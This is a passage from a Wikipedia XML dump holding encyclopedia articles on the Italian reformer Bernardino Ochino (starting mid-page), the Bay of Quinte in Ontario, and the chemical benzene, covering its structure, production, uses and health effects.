      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''Bernardino Ochino''' ([[1487]]-[[1564]]), was an [[Italy|Italian]] [[Protestant_Reformation|Reform]]er, born at [[Siena]] in [[1487]].  At an early age he entered the [[order (religious)|order]] of [[Observantine]] [[Friar]]s, and rose to be its general, but, craving a stricter [[rule]], transferred himself in [[1534]] to the newly-founded order of [[Capuchin]]s.

He had already become famous for zeal and [[eloquence]], and was the intimate friend of the [[Spain|Spaniard]] [[Juan de Valdes]], of [[Bembo]], [[Vittoria Colonna]], [[Peter Martyr|Pietro Martire]], [[Pietro Carnesecchi|Carnesecchi]], and others destined to incur the suspicion of [[heresy]], either from the moderation of their characters or from the evangelical tincture of their [[theology]].

In [[1538]] he was elected vicar-general of his order; in [[1539]], urged by [[Pietro Bembo]], he visited [[Venice]] and delivered a remarkable course of [[sermon]]s, showing a decided tendency to the [[doctrine]] of [[justification by faith]], which appears still more evidently in his dialogues published the same year.  He was suspected and denounced, but nothing ensued until the establishment of the [[Inquisition]] in [[Rome]] in June [[1542]], at the instigation of the austere zealot Carafa.

Ochino almost immediately received a citation to [[Rome]], and set out to obey it about the middle of August.  According to his own statement, he was deterred from presenting himself at Rome by the warnings of [[Gasparo Contarini|Cardinal Contarini]], whom he found at [[Bologna]], dying of [[poison]] administered by the reactionary party.  He turned aside to [[Florence, Italy|Florence]], and after some hesitation escaped across the [[Alps]] to [[Geneva]].  He was cordially received by [[John Calvin|Calvin]], and published within two years several volumes of ''Prediche'', controversial tracts rather than sermons, explaining and vindicating his change of [[religion]].  He also addressed replies to Vittoria Colonna, Tolomei, and other Italian sympathizers who were reluctant to go to the same length as himself.

His own breach with the [[Roman Catholic Church]] was decisive and irreparable, and illustrated the justice of [[Martin Luther|Luther's]] description of justification by [[faith]] alone as the ''articulus stantis vel cadentis ecclesiae'', the vital point whose acceptance or rejection drew everything else along with it.  In [[1545]] he became minister of the Italian Protestant congregation at [[Augsburg]], which he was compelled to forsake when, in January [[1547]], the city was occupied by the imperial forces.  He found an asylum in [[England]], where he was made a [[prebendary]] of [[Canterbury, Kent|Canterbury]], received a [[pension]] from [[Edward VI of England|King Edward VI]]'s privy purse, and composed his capital work, the ''Tragoedie or Dialoge of the unjuste usurped primacie of the Bishop of Rome'', etc. This remarkable performance, originally written in [[Latin]], is extant only in the 1549 translation of Bishop [[John Ponet]], a splendid specimen of nervous English.

The conception is highly dramatic; the form is that of a series of dialogues.  [[Lucifer]], enraged at the spread of [[Jesus]]' kingdom, convokes the fiends in council, and resolves to set up the [[pope]] as [[antichrist]].  The state, represented by the emperor [[Phocas]], is persuaded to connive at the [[pope]]'s assumption of spiritual authority; the other churches are intimidated into acquiescence; Lucifer's projects seem fully accomplished, when [[Heaven]] raises up [[Henry VIII of England]] and his son for their overthrow.  The conception bears a remarkable resemblance to that of ''Paradise Lost''; and it is nearly certain that [[John Milton|Milton]], whose sympathies with the Italian Reformation were so strong, must have been acquainted with it.  Several of Ochino's ''Prediche'' were also translated into English by a lady, [[Anna Cook]], afterwards wife of Sir [[Nicholas Bacon]]; and he published numerous controversial treatises on the Continent.

In [[1553]] the accession of [[Mary I of England|Mary I]] drove Ochino from England.  He became pastor of the Italian congregation at [[Zürich|Zürich]], composed principally of refugees from [[Locarno]], and continued to write books which, repeating the history of his early works, gave increasing evidence of his alienation from the strict [[orthodoxy]] around him.  The most important of these was the ''Labyrinth'', a discussion of the [[free will|freedom of the will]], covertly assailing the [[Calvinism|Calvin]]istic doctrine of [[predestination]].

In [[1563]] the long-gathering storm of obloquy burst upon the occasion of the publication of his ''Thirty Dialogues'', in one of which his adversaries maintained that he had justified [[polygamy]] under colour of a pretended refutation.  His dialogues on [[divorce]] and the [[Trinity]] were also obnoxious.  No explanation was allowed.  Ochino was banished from Zürich, and, after being refused a shelter by other Protestant cities, directed his steps towards [[Poland]], at that time the most tolerant state in [[Europe]].  He had not resided there long when an edict appeared banishing all foreign [[dissident]]s.  Fleeing the country, he encountered the [[Black Death|plague]] at [[Pinczoff]]; three of his four children were carried off; and he himself, worn out by misfortune, expired in solitude and obscurity at [[Schlakau]] in [[Moravia]], about the end of [[1564]].

His reputation among Protestants was at the time so bad that he was charged with the authorship of the treatise ''De tribus Impostoribus'', as well as with having carried his alleged approval of polygamy into practice.

It was reserved for his biographer [[Karl Benrath]] to justify him, and to represent him as a fervent [[evangelist]] and at the same time as a speculative thinker with a passion for free inquiry, always learning and unlearning and arguing out difficult questions with himself in his dialogues, frequently without attaining to any absolute conviction.  The general tendency of his mind, nevertheless, was counter to tradition, and he is remarkable as resuming in his individual history all the phases of [[Protestant theology]] from Luther to [[Socinus]].  He is especially interesting to Englishmen for his residence in England, and the probable influence of more than one of his writings upon [[John Milton|Milton]].

All attainable information respecting Ochino is collected in Karl Benrath's excellent German biography, translated into English by Miss [[Helen Zimmern]], with a preface by the Rev. W. Arthur, London, [[1876]].

==References==

*Text is from the 9th edition (1880s) of an unnamed encyclopedia

[[Category:Capuchins|Ochino, Bernardino]]
[[Category:Italian theologians|Ochino, Bernardino]]

[[fr:Bernardino Ochino]]
[[de:Bernardino Ochino]]</text>
    </revision>
  </page>
  <page>
    <title>Bay of Quinte</title>
    <id>4204</id>
    <revision>
      <id>24199527</id>
      <timestamp>2005-09-28T00:14:33Z</timestamp>
      <contributor>
        <username>Mindmatrix</username>
        <id>160367</id>
      </contributor>
      <minor />
      <comment>stub to {{Ontario-geo-stub}}</comment>
      <text xml:space="preserve">The '''Bay of Quinte''' is on the northern shore of [[Lake Ontario]].

Located about 200 kilometers east of [[Toronto]] and 400 west of [[Montreal]], the Bay of Quinte is a long, thin bay in the shape of a letter &quot;Z&quot;. The northern side of the bay is defined by the mainland, while the southern side follows the shore of the [[Prince Edward County, Ontario|Prince Edward County]] headland. Beginning in the east with the outlet to Lake Ontario, the bay runs west-southwest for 25 kilometers to [[Picton, Ontario|Picton]], where it turns north-northwest for another 20 kilometers as far as [[Deseronto, Ontario|Deseronto]]. From there it turns south-southwest again for another 40 kilometers, running past [[Big Island]] on the south and [[Belleville, Ontario|Belleville]] on the north. The width of the bay rarely exceeds two kilometers. The bay ends at [[Quinte West, Ontario|Quinte West]] (formerly Trenton) and the [[Trent River (Ontario)|Trent River]], both also on the north side. The [[Murray Canal]] has been cut through the few miles separating the end of the bay and Lake Ontario on the west side. The Trent River is part of the [[Trent-Severn Waterway]], a canal connecting Lake Ontario to [[Lake Simcoe]] and then [[Georgian Bay]] on [[Lake Huron]].

[[Category:Geography of Ontario]]
[[Category:Bays of Canada|Quinte]]
{{Ontario-geo-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Benzene</title>
    <id>4206</id>
    <revision>
      <id>42108625</id>
      <timestamp>2006-03-03T21:57:23Z</timestamp>
      <contributor>
        <username>Joanjoc</username>
        <id>93075</id>
      </contributor>
      <minor />
      <comment>[[ca:Benzè]]</comment>
      <text xml:space="preserve">:''This article is about a chemical. For the Rammstein single, see [[Benzin]].''

&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
{| align=&quot;right&quot; border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; style=&quot;margin: 0 0 0 0.5em; background: #FFFFFF; border-collapse: collapse; border-color: #C0C090;&quot;
! {{chembox header}} | {{PAGENAME}}
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Benzene_structure.png|250px|Benzene]]
|-
! {{chembox header}} | General
|-
| [[IUPAC nomenclature|Systematic name]]
| Benzene
|-
| Other names
| Benzol
|-
| [[Chemical formula|Molecular formula]]
| C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;
|-
| [[Simplified molecular input line entry specification|SMILES]]
| C1=CC=CC=C1
|-
| [[International Chemical Identifier|InChI]]
| InChI=1/C6H6&lt;br/&gt;/c1-2-4-6-5-3-1/h1-6H
|-
| [[Molar mass]]
| 78.11 g/mol
|-
| Appearance
| Colorless liquid
|-
| [[CAS registry number|CAS number]]
| [71-43-2]
|-
! {{chembox header}} | Properties
|-
| [[Density]] and [[Phase (matter)|phase]]
| 0.8786 g/cm&amp;sup3;, liquid
|-
| [[Soluble|Solubility]] in [[Water_(molecule)|water]]
| 1.79 g/l (25 °C)
|-
&lt;!-- | Other solvents e.g. [[ethanol]], [[acetone]] --&gt;
&lt;!-- | solubility info on other solvents --&gt;
&lt;!-- |- --&gt;
| [[Melting point]]
| 5.5 °C (278.6 K)
|-
| [[Boiling point]]
| 80.1 °C (353.2 K)
|-
| [[Viscosity]]
| 0.652 [[Poise|cP]] at 20 °C
|-
! {{chembox header}} | Structure
|-
| [[Orbital hybridisation#Molecule shape|Molecular shape]]
| Planar
|-
| [[Dipole#Molecular dipoles|Dipole moment]]
| 0 [[Debye|D]]
|-
! {{chembox header}} | Hazards
|-
| [[Material safety data sheet|MSDS]]
| [[{{PAGENAME}} (data page)#Material Safety Data Sheet|External MSDS]]
|-
| [[Directive 67/548/EEC|EU classification]]
| Flammable ('''F''')&lt;br/&gt;[[Carcinogen|Carc. Cat. 1]]&lt;br/&gt;[[Mutagen|Muta. Cat. 2]]&lt;br/&gt;Toxic ('''T''')
|-
| [[NFPA 704]]
| [[Image:nfpa_h3.png]][[Image:nfpa_f4.png]][[Image:nfpa_r0.png]]
|-
| [[List of R-phrases|R-phrases]]
| {{R45}}, {{R46}}, {{R11}}, {{R36/38}},&lt;br/&gt;{{R48/23/24/25}}, {{R65}}
|-
| [[List of S-phrases|S-phrases]]
| {{S53}}, {{S45}}
|-
| [[Flash point]]
| &amp;minus;11 °C
|-
| [[Autoignition temperature]]
| 561 °C
|-
| [[RTECS]] number
| CY1400000
|-
&lt;!--! {{chembox header}} | [[{{PAGENAME}} (data page)|Supplementary data page]]
|-
| [[{{PAGENAME}} (data page)#Structure and properties|Structure and&lt;br/&gt;properties]]
| [[Refractive index|''n'']], [[Dielectric constant|''ε&lt;sub&gt;r&lt;/sub&gt;'']], etc.
|-
| [[{{PAGENAME}} (data page)#Thermodynamic properties|Thermodynamic&lt;br/&gt;data]]
| Phase behaviour&lt;br&gt;Solid, liquid, gas
|-
| [[{{PAGENAME}} (data page)#Spectral data|Spectral data]]
| [[UV/VIS spectroscopy|UV]], [[Infrared spectroscopy|IR]], [[NMR spectroscopy|NMR]], [[Mass spectrometry|MS]]
|- --&gt;
! {{chembox header}} | Related compounds
|-
| Related&lt;br/&gt;[[hydrocarbon]]s
| [[cyclohexane]]&lt;br/&gt;[[naphthalene]]
|-
| Related compounds
| [[toluene]]
|-
| {{chembox header}} | &lt;small&gt;Except where noted otherwise, data are given for&lt;br&gt; materials in their [[standard state|standard state (at 25°C, 100 kPa)]]&lt;br/&gt;[[wikipedia:Chemical infobox|Infobox disclaimer and references]]&lt;/small&gt;
|-
|}

'''Benzene''', also known as '''[[Carbon|C]]&lt;sub&gt;6&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;6&lt;/sub&gt;''', '''[[Phenyl|Ph]]H''', and '''benzol''', is an [[organic compound|organic]] [[chemical compound]] that is a [[color]]less and [[flammable]] liquid with a pleasant, sweet smell. Benzene is a known [[carcinogen]]. It is a minor, or additive, component of [[Petrol|gasoline]]. It is an important industrial [[solvent]] and precursor in the production of [[medication|drugs]], [[plastic]]s, gasoline, synthetic [[rubber]], and [[dye]]s. Benzene is a natural constituent of [[Petroleum|crude oil]], but it is usually synthesized from other compounds present in petroleum. Benzene is an [[aromatic hydrocarbon]], and the second [''n'']-[[annulene]] ([6]-annulene).

== History ==

Benzene was discovered in [[1825]] by the [[England|English]] scientist [[Michael Faraday]], who isolated it from oil gas and gave it the name ''bicarburet of hydrogen''.  In [[1833]], the [[Germany|German]] chemist [[Eilhard Mitscherlich]] produced it via the [[distillation]] of [[benzoic acid]] (from [[gum benzoin]]) and [[calcium oxide|lime]].  Mitscherlich gave the compound the name ''benzin''.  In [[1845]], the English chemist [[Charles Mansfield]], working under [[August Wilhelm von Hofmann]], isolated benzene from [[coal tar]].  Four years later, Mansfield began the first industrial-scale production of benzene, based on the coal-tar method.

== Structure ==

The formula of benzene (C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;) caused a mystery for some time after its discovery, as no explanation had been found that could account for all the [[chemical bond|bond]]s &amp;mdash; [[carbon]] usually forms four single bonds and hydrogen one.

The [[chemist]] [[Friedrich August Kekulé von Stradonitz]] was the first to deduce the ring structure of benzene. An often-repeated story claims that after years of studying carbon bonding, benzene and related molecules, he dreamt one night of the [[Ouroboros]], a [[snake]] eating its own tail, and that upon waking he was inspired to deduce the ring structure of benzene. However, the story first appeared in the ''Berichte der Durstigen Chemischen Gesellschaft'' (Journal of the Thirsty Chemical Society), a [[parody]] of the ''[[Berichte der Deutschen Chemischen Gesellschaft]]'', which appeared annually in the late-19th century on the occasion of the congress of German chemists; as such, it is probably to be treated with circumspection.

While his (more formal) claims were well-publicized and accepted, by the early-1920s Kekulé's biographer came to the conclusion that Kekulé's understanding of the tetravalent nature of carbon bonding depended on the previous research of [[Archibald Scott Couper]] ([[1831]]-[[1892]]); further, the Austrian chemist [[Josef Loschmidt]] ([[1821]]-[[1895]]) had earlier posited a cyclic structure for benzene as early as [[1862]]. The cyclic nature of benzene was finally confirmed by the eminent crystallographer [[Kathleen Lonsdale]].

Benzene presents a special problem in that, to account for all the bonds, there must be alternating [[double bond|double]] carbon bonds:

[[image:benz1.png|Benzene with alternating double bonds]]

Using [[X-ray diffraction]], researchers discovered that all of the carbon-carbon bonds in benzene are of the same length, and it is known that a [[single bond]] is longer than a [[double bond]]. In addition, the [[bond length]], the distance between the two bonded atoms in benzene is greater than a double bond, but shorter than a single bond. There seemed to be in effect, a bond and a half between each carbon.

This is explained by electron [[delocalized|delocalization]]. In order to visualise this, one should consider the position of electrons in the bonds of benzene.

One representation is that the structure exists as a superposition of the forms below, rather than either form individually.  This type of structure is called a ''resonance hybrid''.

[[image:benz3.png|Benzene, mesomeric structures]]

In reality, neither form really exists. Delocalisation must be explained using a higher level of theory than single and double bonds. 
The single bonds are formed with electrons in line between the carbon atoms - this is called [[sigma bond|σ (sigma) symmetry]]. Double bonds consist of a sigma bond and another, [[pi bond|π bond]]. This second bond has electrons orbiting in paths above and below the plane of the ring at each bonded carbon atom. The π-bonds are formed from [[Atomic orbital|atomic p-orbitals]] above and below the plane of ring. The following diagram shows the positions of these p-orbitals:

[[Image:Benzene-orbitals.png|330px|Benzene electron orbitals]]

Since they are out of the plane of the atoms, these orbitals can interact with each other freely, and become delocalised. This means that, instead of being tied to one atom of carbon, each electron is shared by all six in the ring. Thus, there are not enough electrons to form double bonds on all the carbon atoms, but the &quot;extra&quot; electrons strengthen all of the bonds on the ring equally. The resulting [[molecular orbital]] has π symmetry.

[[Image:benzene-orbitals2.png|Benzene orbital delocalisation]]

This delocalisation of electrons is known as ''[[Aromatic|aromaticity]]'', and gives benzene great stability. This is the fundamental property of aromatic chemicals that differentiates them from non-aromatics.

To reflect the delocalised nature of the bonding, benzene may be depicted as a circle inside a hexagon in chemical structure diagrams:

[[image:benz4.png|Benzene structure with a circle inside the hexagon]]

As is common in diagrams of organic structures, the carbon atoms in the diagram above have been left unlabeled.

Benzene occurs sufficiently often as a component of organic molecules that there is a [[Unicode]] symbol with the code 232C to represent it: &lt;font size=&quot;+8&quot;&gt;{{unicode|&amp;#9004;}}&lt;/font&gt;

''Note: Many fonts do not have this Unicode character, so your browser may not be able to display it correctly.''

== Substituted benzenes ==

Many important chemicals are essentially benzene, with one or more of the hydrogen atoms replaced with another [[functional group]]:

=== Alkyl substituents (alkylbenzenes)===

* [[Ethylbenzene]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt;
* [[Mesitylene]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;3&lt;/sub&gt;(-CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;
* [[Toluene]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt;
* [[Xylene]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;(-CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;

=== Other substituents ===

* [[Aniline]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;-NH&lt;sub&gt;2&lt;/sub&gt;
* [[Aspirine|Acetylsalicylic acid]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;(-O-C(=O)-CH&lt;sub&gt;3&lt;/sub&gt;)(-COOH)
* [[Benzoic acid]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;-COOH
* [[Biphenyl]] (C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;
* [[Chlorobenzene]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;-Cl
* [[Nitrobenzene]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;-NO&lt;sub&gt;2&lt;/sub&gt;
* [[Paracetamol]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;(-NH-C(=O)-CH&lt;sub&gt;3&lt;/sub&gt;)(-OH)
* [[Phenacetin]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;(-NH-C(=O)-CH&lt;sub&gt;3&lt;/sub&gt;)(-O-CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt;)
* [[Phenol]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;-OH
* [[Picric acid]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;2&lt;/sub&gt;(-OH)(-NO&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;
* [[Salicylic acid]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;(-OH)(-COOH)
* [[Trinitrotoluene]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;2&lt;/sub&gt;(-CH&lt;sub&gt;3&lt;/sub&gt;)(-NO&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;

=== Fused aromatic rings ===

* [[Anthracene]]
* [[Benzofuran]]
* [[Indole]]
* [[Isoquinoline]]
* [[Naphthalene]]
* [[Phenanthrene]]
* [[Polycyclic aromatic hydrocarbon]]s (PAH)
* [[Quinoline]]

=== Heterocyclic analogs ===

In [[heterocyclic ring|heterocycles]], carbon atoms in the benzene ring are replaced with another element:

* [[Pyrazine]]
* [[Pyridazine]]
* [[Pyridine]]
* [[Pyrimidine]]

See [[Simple aromatic ring]] for analogs of benzene.

== Production ==

Benzene may result whenever [[carbon]]-rich materials undergo incomplete [[combustion]].  It is produced naturally in [[volcano]]es and [[forest fire]]s, and is also a component of [[cigarette]] smoke.

Up until [[World War II]], most benzene was produced as a byproduct of [[coke (fuel)|coke]] production in the [[steel]] industry.  However, in the [[1950s]], increased demand for benzene, especially from the growing [[plastic]]s industry, necessitated the production of benzene from petroleum.  Today, most benzene comes from the [[petrochemical]] industry, with only a small fraction being produced from coal.

Three chemical processes contribute equally to industrial benzene production: [[catalytic reforming]], [[toluene]] hydrodealkylation, and [[steam cracking]].

=== Catalytic reforming ===

In catalytic reforming, a mixture of [[hydrocarbon]]s with boiling points between 60-200°C is blended with [[hydrogen]] gas, then exposed to a [[platinum]] chloride or [[rhenium]] chloride [[catalyst]] at 500-525°C and pressures ranging from 8-50 atm.  Under these conditions, [[aliphatic]] hydrocarbons form rings and lose hydrogen to become aromatic hydrocarbons.  The aromatic products of the reaction are then separated from the reaction mixture by [[extraction]] with any one of a number of [[solvent]]s, including [[diethylene glycol]] or [[sulfolane]], and benzene is then separated from the other aromatics by distillation.

=== Toluene hydrodealkylation ===

Toluene hydrodealkylation converts [[toluene]] to benzene.  In this process, toluene is mixed with hydrogen, then passed over a [[chromium]], [[molybdenum]], or [[platinum]] [[oxide]] catalyst at 500-600°C and 40-60 atm pressure.  Sometimes, higher temperatures are used instead of a catalyst.  Under these conditions, toluene undergoes dealkylation according to the [[chemical equation]]:

:[[toluene|C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;]] + [[hydrogen|H&lt;sub&gt;2&lt;/sub&gt;]] → C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt; + [[methane|CH&lt;sub&gt;4&lt;/sub&gt;]]

Typical reaction yields exceed 95%.  Sometimes, [[xylene]] and heavier aromatics  are used in place of toluene, with similar efficiency.

=== Steam cracking ===

[[Steam cracking]] is the process used to produce [[ethylene]] and other [[olefin]]s from aliphatic hydrocarbons.  Depending on the feedstock used to produce the olefins, steam cracking can produce a benzene-rich liquid byproduct called ''[[pyrolysis gasoline]]''.  Pyrolysis gasoline can be blended with other hydrocarbons as a gasoline additive, or distilled to separate it into its components, including benzene.

== Uses ==

In the 19th and early-20th centuries, benzene was used as an aftershave because of its pleasant smell. Prior to the [[1920s]], benzene was frequently used as an industrial solvent, especially for degreasing metal.  As its toxicity became obvious, other solvents replaced benzene in applications that directly exposed the user to benzene.

Benzene was also used to initially decaffeinate coffee by German importer Lugwig Roselius in 1903.  This lead to the production of Sanka, -ka for kaffein, but later discontinued the use of benzene.

As a gasoline additive, benzene increases the [[octane rating]] and reduces [[Engine knocking|knocking]].  As a result, gasoline often contained several percent benzene before the [[1950s]], when [[tetraethyl lead]] replaced it as the most widely-used antiknock additive.  However, with the global phaseout of leaded gasoline, benzene has made a comeback as a gasoline additive in some nations.  In the [[United States]], concern over its negative health effects and the possibility of benzene's entering the [[groundwater]] have led to stringent regulation of gasoline's benzene content, with values around 1% typical. European gasoline specifications now contain the same 1% limit on benzene content.

By far the largest use of benzene is as an intermediate to make other chemicals.  The most widely-produced derivatives of benzene are [[styrene]], which is used to make polymers and plastics, [[phenol]] for resins and adhesives (via [[cumene]]), and [[cyclohexane]], which is used in Nylon manufacture. Smaller amounts of benzene are used to make some types of rubbers, lubricants, dyes, detergents, drugs, explosives and pesticides.

In laboratory research, [[toluene]] is now often substituted for benzene because of health concerns.

== Reactions of benzene ==
[[Image:OChem-Mech-ElectrophilicAromaticSubstitution-General.png|right|450px|Electrophilic aromatic substitution of benzene]]
*[[Electrophilic aromatic substitution]]
Electrophilic aromatic substitution is a general method of substituting aromatic rings such as benzene.  Benzene is [[nucleophile|nucleophilic]] enough, so that, in the presence of strong [[electrophile]]s such as [[acyl]]ium ions or alkyl [[carbocation]]s, reaction will occur to ultimately give substituted benzenes.
[[Image:Friedel-Crafts acylation of benzene by ethanol chloride.png|right|300px|Friedel-Crafts acylation of benzene by acetyl chloride]]

The [[Friedel-Crafts acylation]] is a specific example of electrophilic aromatic substitution.  The reaction is the [[acylation]] of an aromatic ring (such as benzene) with an [[acyl chloride]] using a strong [[Lewis acid]] [[catalyst]].
[[Image:Friedel-craft-alk.png|right|400px|Friedel-Crafts alkylation of benzene with methyl chloride]]
Like the Friedel-Crafts acylation, the [[Friedel-Crafts alkylation]] involves the [[alkylation]] of an aromatic ring (such as benzene) and an [[alkyl halide]] using a strong Lewis acid catalyst.

The other main reaction types are [[aromatic nitration]] and [[aromatic sulfonation]].
* [[Nucleophilic aromatic substitution]]s take place between electrophilic substituted benzene compounds and nucleophiles
* [[Hydrogenation]] of benzene and derivatives is possible with special catalysts at high hydrogen pressure.

== [[Health effects]] ==

Breathing very high levels of benzene can result in [[death]], while high levels can cause drowsiness, dizziness, rapid heart rate, [[headache]]s, tremors, confusion, and unconsciousness. Eating or drinking foods containing high levels of benzene can cause vomiting, irritation of the [[stomach]], dizziness, sleepiness, convulsions, rapid heart rate, and death.

The major effect of benzene from [[chronic]] (long-term) exposure is to the [[blood]]. Benzene damages the [[bone marrow]] and can cause a decrease in red blood cells, leading to [[anemia]]. It can also cause excessive bleeding and depress the [[immune system]], increasing the chance of [[infection]].

Some women who breathed high levels of benzene for many months had irregular [[menstruation|menstrual]] periods and a decrease in the size of their [[ovaries]]. It is not known whether benzene exposure affects the developing [[fetus]] in pregnant women or fertility in men.

Animal studies have shown low birth weights, delayed bone formation, and bone marrow damage when pregnant animals breathed benzene.

The [[US Department of Health and Human Services]] (DHHS) classifies benzene as a human [[carcinogen]]. Long-term exposure to high levels of benzene in the air can cause [[leukemia]], a potentially fatal cancer of the blood-forming organs.  In particular, [[Acute Myeloid Leukemia]] (AML) may be caused by benzene. 

Several tests can show if you have been exposed to benzene. There is a test for measuring benzene in the breath; this test must be done shortly after exposure. Benzene can also be measured in the blood; however, since benzene disappears rapidly from the blood, measurements are accurate only for recent exposures.

In the body, benzene is [[Metabolism|metabolized]]. Certain metabolites can be measured in the urine. However, this test must be done shortly after exposure and is not a reliable indicator of how much benzene you have been exposed to, since the same metabolites may be present in urine from other sources.

The US [[Environmental Protection Agency]] has set the maximum permissible level of benzene in drinking water at 0.005 milligrams per liter (0.005 mg/L). The EPA requires that spills or accidental releases into the environment of 10 pounds (4.5 kg) or more of benzene be reported to the EPA.

The US [[Occupational Safety and Health Administration]] (OSHA) has set a permissible exposure limit of 1 part of benzene per million parts of air (1 ppm) in the workplace during an 8-hour workday, 40-hour workweek.

== Benzene exposure ==
Workers in various industries that make or use benzene may be at risk for being exposed to high levels of this carcinogenic chemical. Industries that involve the use of benzene include the rubber industry, oil refineries, chemical plants, shoe manufacturers, and gasoline related industries. In 1987, OSHA estimated that about 237,000 workers in the United States were potentially exposed to benzene, and it is not known if this number has substantially changed since then.

Water and [[soil contamination]] are important pathways of concern for transmission of benzene contact. In the U.S. alone there are approximately 100,000 different sites which have benzene soil or groundwater contamination.  In 2005, the water supply to the city of Harbin in China with a population of almost nine million people, was cut off because of a [[Jilin chemical plant explosions 2005|major benzene exposure]]. Benzene leaked into the Songhua River, which supplies drinking water to the city, after an explosion at a China National Petroleum Corporation (CNPC) factory in the city of Jilin on [[13 November]].

In [[February]], [[2006]], a former [[chemist]] at [[Cadbury Schweppes]] revealed that benzene may be created as part of a chemical reaction during production of [[soft drink]]s, particularly those having an [[orange (fruit)|orange]] flavor. Full scale investigations immediately started at the [[Food and Drug Administration]] ([[USA]]), [[Food Standards Agency]] ([[UK]]), and in [[Germany]] to reveal exactly which amounts of benzene, if any, were present, with several other organizations awaiting their findings. [http://www.newsinferno.com/archives/864] [http://www.foodproductiondaily-usa.com/news/ng.asp?n=65933-benzene-soft-drinks-food-safety] The key ingredients leading to the formation of benzene during production would according to his claims be [[ascorbic acid]] (vitamin C) and [[sodium benzoate]] (E211). Of equal concern, the chemist told media the soda industry have known of this problem in 15 years, and supports himself with document copies explaining how benzene is a possible byproduct of these ingredients that exist in over a thousand soft drinks. More than extremely small trace amounts found after investigation would be of major concern, as benzene is a very aggressive [[carcinogen]] even in small amounts, and may among other things lead to [[leukemia]].

== References ==

* [[Archibald Scott Couper]], ''On a New Chemical Theory'', Philosophical Magazine 16, 104-116 (1858)
* Josef Loschmidt, Chemische Studien I, Carl Gerold's Sohn, Vienna (1861),
* Josef Loschmidt, Chemische Studien I, Aldrich Chemical Co, Milwaukee (1989), catalog no. Z-18576-0, and (1913) catalog no. Z-18577-9
* Kathleen Lonsdale, &quot;The Structure of the Benzene Ring in Hexamethylbenzene,&quot; ''Proceedings of the Royal Society'' 123A: 494 (1929).
* Kathleen Lonsdale, &quot;An X-Ray Analysis of the Structure of Hexachlorobenzene, Using the Fourier Method,&quot; ''Proceedings of the Royal Society'' 133A: 536 (1931).

== External links ==
*[http://www.phc.vcu.edu/Feature/oldfeature/benzene/index.html Benzene]
*[http://www.ilo.org/public/english/protection/safework/cis/products/icsc/dtasht/_icsc00/icsc0015.htm International Chemical Safety Card 0015]
*[http://www.npi.gov.au/database/substance-info/profiles/12.html National Pollutant Inventory - Benzene]
*[http://www.cdc.gov/niosh/npg/npgd0049.html NIOSH Pocket Guide to Chemical Hazards]
*[http://www-cie.iarc.fr/htdocs/monographs/suppl7/benzene.html IARC Monograph: &quot;Benzene&quot;]
*{{ecb}}
*{{PubChemLink|241}}
* [http://www.hazard.com/msds/f2/bqv/bqvjq.html Benzene Material Safety Data Sheet]
* [http://www.atsdr.cdc.gov/HEC/CSEM/benzene/ Case Studies in Environmental Medicine: Benzene Toxicity]
* [http://www.compchemwiki.org/index.php?title=Benzene Computational Chemistry Wiki]
* [http://classes.yale.edu/chem125a/125/history99/5Valence/Couper/Couper.html Couper and Carbon bonds]
* [http://ntp.niehs.nih.gov/index.cfm?objectid=0707525C-0F07-05BF-A16CAC7B0ECC97B5 Dept. of Health and Human Services: TR-289: Toxicology and Carcinogenesis Studies of Benzene]
* [http://classes.yale.edu/chem125a/125/history99/5Valence/Kekule/Kekule.html Kekule, Couper and dreams of Benzene]
* [http://www.physicstoday.org/pt/vol-54/iss-3/captions/p45cap4.html Loschmidt's Benzene structure]
* [http://www.sgipt.org/th_schul/pa/kek/pak_kek0.htm Kekulés Traum] (Kekulé's dream, in German)



[[Category:Annulenes]]
[[Category:Simple_aromatic_rings]]
[[Category:IARC Group 1 carcinogens]]
[[Category:Soil contamination]]
[[Category:Solvents]]
[[Category:Aromatic hydrocarbons]]

